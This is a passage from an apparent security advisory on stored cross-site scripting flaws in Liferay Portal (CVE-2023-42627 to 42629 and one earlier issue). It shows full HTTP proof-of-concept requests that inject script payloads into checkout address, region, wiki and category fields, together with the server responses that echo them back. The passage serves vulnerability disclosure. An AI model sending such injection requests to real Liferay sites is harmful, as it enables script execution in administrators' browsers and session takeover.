&lt;pre class="literal-block"&gt;POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 2212
Origin: http://localhost:9090
Connection: close
Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/shipping-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455841126; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697455840993&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=shipping-address&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fshipping-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22shipping_name%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22shipping_phone%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22shipping_address%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22shipping_address2%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22shipping_address3%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22shipping_zip%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22shipping_city%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_region
        Id=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkboxNames=use-as-billing&amp;amp;p_auth=GgaH6PDc&lt;/pre&gt;
&lt;p&gt;The corresponding HTTP request for injection via the billing address is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 2095
Origin: http://localhost:9090
Connection: close
Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/billing-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697456017677; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697456016443&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=billing-address&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fbilling-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22billing_name%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22billing_phone%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22billing_adress%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22billing_adress2%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22billing_adress3%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22billing_zip%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22billing_city%22%29%3C%2Fscript%3E&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;_com_li
feray_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&amp;amp;p_auth=GgaH6PDc&lt;/pre&gt;
&lt;p&gt;Once the order is submitted, the payloads get executed in the browser of the victim (e.g. the shop owner) when they view the order details. The browser sends a GET request, for example:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /group/speedwell/~/control_panel/manage?p_p_id=com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_mvcRenderCommandName=%2Fcommerce_order%2Fedit_commerce_order&amp;amp;_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_commerceOrderId=35980&amp;amp;p_p_auth=LRyvOYIu HTTP/1.1&lt;/pre&gt;
&lt;p&gt;The corresponding response contains:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:37:40 GMT
Connection: close
Content-Length: 99498


&amp;lt;div class="description"&amp;gt;


    &amp;lt;p class="mb-0"&amp;gt;
        &amp;lt;script&amp;gt;alert("billing_adress")&amp;lt;/script&amp;gt;
    &amp;lt;/p&amp;gt;


        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("billing_adress2")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;

        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("billing_adress3")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;


    &amp;lt;p class="mb-0"&amp;gt;
        &amp;lt;script&amp;gt;alert("billing_city")&amp;lt;/script&amp;gt;, &amp;lt;script&amp;gt;alert("billing_zip")&amp;lt;/script&amp;gt;
    &amp;lt;/p&amp;gt;
[...]
    &amp;lt;div class="description"&amp;gt;

        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("shipping_address")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;


            &amp;lt;p class="mb-0"&amp;gt;
                &amp;lt;script&amp;gt;alert("shipping_address2")&amp;lt;/script&amp;gt;
            &amp;lt;/p&amp;gt;

            &amp;lt;p class="mb-0"&amp;gt;
                &amp;lt;script&amp;gt;alert("shipping_address3")&amp;lt;/script&amp;gt;
            &amp;lt;/p&amp;gt;


        &amp;lt;p class="mb-0"&amp;gt;
            &amp;lt;script&amp;gt;alert("shipping_city")&amp;lt;/script&amp;gt;, &amp;lt;script&amp;gt;alert("shipping_zip")&amp;lt;/script&amp;gt;
        &amp;lt;/p&amp;gt;
[...]&lt;/pre&gt;
&lt;img alt="Alert when viewing order details." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_shipping_alert.png"&gt;
&lt;p&gt;Additionally, injections into the fields &lt;em&gt;name&lt;/em&gt; and &lt;em&gt;phone&lt;/em&gt; get executed when an attacker has set these as default billing or shipping addresses and the victim examines the account details afterwards. The menu for changing the default addresses is affected by this stored XSS vulnerability as well.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-country-regions-cve-2023-42627"&gt;
&lt;h3&gt;2. Persistent cross-site scripting vulnerability via country regions (CVE-2023-42627)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;An attacker can inject arbitrary JavaScript or HTML code when adding country regions. A HTTP POST request for injecting JavaScript and HTML code is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_javax.portlet.action=%2Fcommerce_country%2Fedit_commerce_region&amp;amp;p_p_auth=olPu9S6s HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/group/guest/~/control_panel/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------195765885022298159623640673918
Content-Length: 2850
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455335712
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_formDate"

1697455335661
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_cmd"

add
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect"

http://localhost:9090/group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&amp;amp;p_p_auth=olPu9S6s
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId"

20916
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionId"

0
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_name"

&amp;lt;script&amp;gt;alert("region_name")&amp;lt;/script&amp;gt;
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionCode"

&amp;lt;script&amp;gt;alert("region_code")&amp;lt;/script&amp;gt;
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_position"

0.0
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_checkboxNames"

active
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------195765885022298159623640673918--&lt;/pre&gt;
&lt;p&gt;These payloads get executed when a victim is examining the regions page. The corresponding HTTP GET request is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&amp;amp;p_p_lifecycle=0&amp;amp;p_p_state=maximized&amp;amp;p_p_mode=view&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&amp;amp;_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&amp;amp;p_p_auth=olPu9S6s HTTP/1.1
[...]&lt;/pre&gt;
&lt;p&gt;The server then returns the injected HTML ands JavaScript code in the reponse:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:24:20 GMT
Connection: close
Content-Length: 117171

[...]
&amp;lt;script&amp;gt;alert("region_name")&amp;lt;/script&amp;gt;&amp;lt;/a&amp;gt;
[...]
        &amp;lt;td class="table-cell-expand lfr-regioncode-column" colspan="1"&amp;gt;
                &amp;lt;script&amp;gt;alert("region_code")&amp;lt;/script&amp;gt;
        &amp;lt;/td&amp;gt;
[...]&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_regions.png"&gt;
&lt;img alt="XSS payloads while editing a country definition." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_regions.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-wiki-child-pages-cve-2023-42628"&gt;
&lt;h3&gt;3. Persistent cross-site scripting vulnerability via wiki child pages (CVE-2023-42628)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;When adding a new child page in a wiki page, an attacker can inject malicious payloads into the &lt;code class="docutils literal"&gt;content&lt;/code&gt; field. This payload gets executed in the browser of the victim when they visit the according parent page, because the payload is placed as text into the child page's container.&lt;/p&gt;
&lt;p&gt;HTTP request:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /wiki?p_p_id=com_liferay_wiki_web_portlet_WikiPortlet&amp;amp;p_p_lifecycle=1&amp;amp;p_p_state=normal&amp;amp;p_p_mode=view&amp;amp;_com_liferay_wiki_web_portlet_WikiPortlet_javax.portlet.action=%2Fwiki%2Fedit_page&amp;amp;_com_liferay_wiki_web_portlet_WikiPortlet_mvcRenderCommandName=%2Fwiki%2Fedit_page HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------9342881932314680790817840128
Content-Length: 4704
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455074560
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_formDate"

1697455074387
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_cmd"

add
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_redirect"

http://localhost:9090/wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_editTitle"

true
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_nodeId"

35926
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_parentTitle"

FrontPage
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_workflowAction"

1
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_version"

0.0
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_title"

child page
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_contentEditor"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_content"

&amp;lt;script&amp;gt;alert("child node")&amp;lt;/script&amp;gt;


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinksSearchContainerPrimaryKeys"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinkEntryIds"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_summary"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_format"

creole
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsShowOptions"

false
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsViewRole"

Guest
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions"

VIEW
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions"

ADD_DISCUSSION
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

UPDATE
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

SUBSCRIBE
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

VIEW
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

ADD_DISCUSSION
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_saveButton"


-----------------------------9342881932314680790817840128--&lt;/pre&gt;
&lt;p&gt;Later, the browser sends a GET request to retrieve the parent page, for example to the follwoing resource:&lt;/p&gt;
&lt;pre class="literal-block"&gt;GET /wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage HTTP/1.1
[...]&lt;/pre&gt;
&lt;p&gt;The corresponding HTTP response contains the injected JavaScript code:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:18:28 GMT
Connection: close
Content-Length: 178424

[...]]
&amp;lt;h4 class="text-default"&amp;gt;Child Pages (1)&amp;lt;/h4&amp;gt;
 &amp;lt;div&amp;gt;
  &amp;lt;ul class="list-group"&amp;gt;
   &amp;lt;li class="list-group-item"&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;a href="http://localhost:9090/wiki/-/wiki/Main/child+page?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;amp;amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=child+page"&amp;gt;child page&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt; &amp;lt;p class="text-default"&amp;gt;&amp;lt;script&amp;gt;alert("child node")&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;
  &amp;lt;/ul&amp;gt;
 &amp;lt;/div&amp;gt;&lt;/pre&gt;
&lt;a class="reference external image-reference" href="https://www.pentagrid.ch/images/202310_liferay_wiki_payload.png"&gt;
&lt;img alt="XSS payloads in wiki child pages." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_wiki_payload.thumbnail.png"&gt;
&lt;/a&gt;
&lt;/section&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-category-vocabulary-cve-2023-42629"&gt;
&lt;h3&gt;4. Persistent cross-site scripting vulnerability via category vocabulary (CVE-2023-42629)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium&lt;/pre&gt;
&lt;p&gt;When adding new vocabulary to the categories, an attacker can inject a malicious payload into the description field. This payload gets executed in the browser of the victim when they visit the category page. If the malicious entry is not the first in the list, the payload gets executed once the victim selects the malicious entry.&lt;/p&gt;
&lt;p&gt;HTTP request:&lt;/p&gt;
&lt;pre class="literal-block"&gt;POST /group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/new?p_p_lifecycle=1&amp;amp;_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_javax.portlet.action=%2Fasset_categories_admin%2Fedit_asset_vocabulary HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------23385551494836211141651886319
Content-Length: 3949
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697454288116
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_formDate"

1697454287833
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_redirect"

http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_vocabularyId"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title"

MyCategory
-----------------------------23385551494836211141651886319
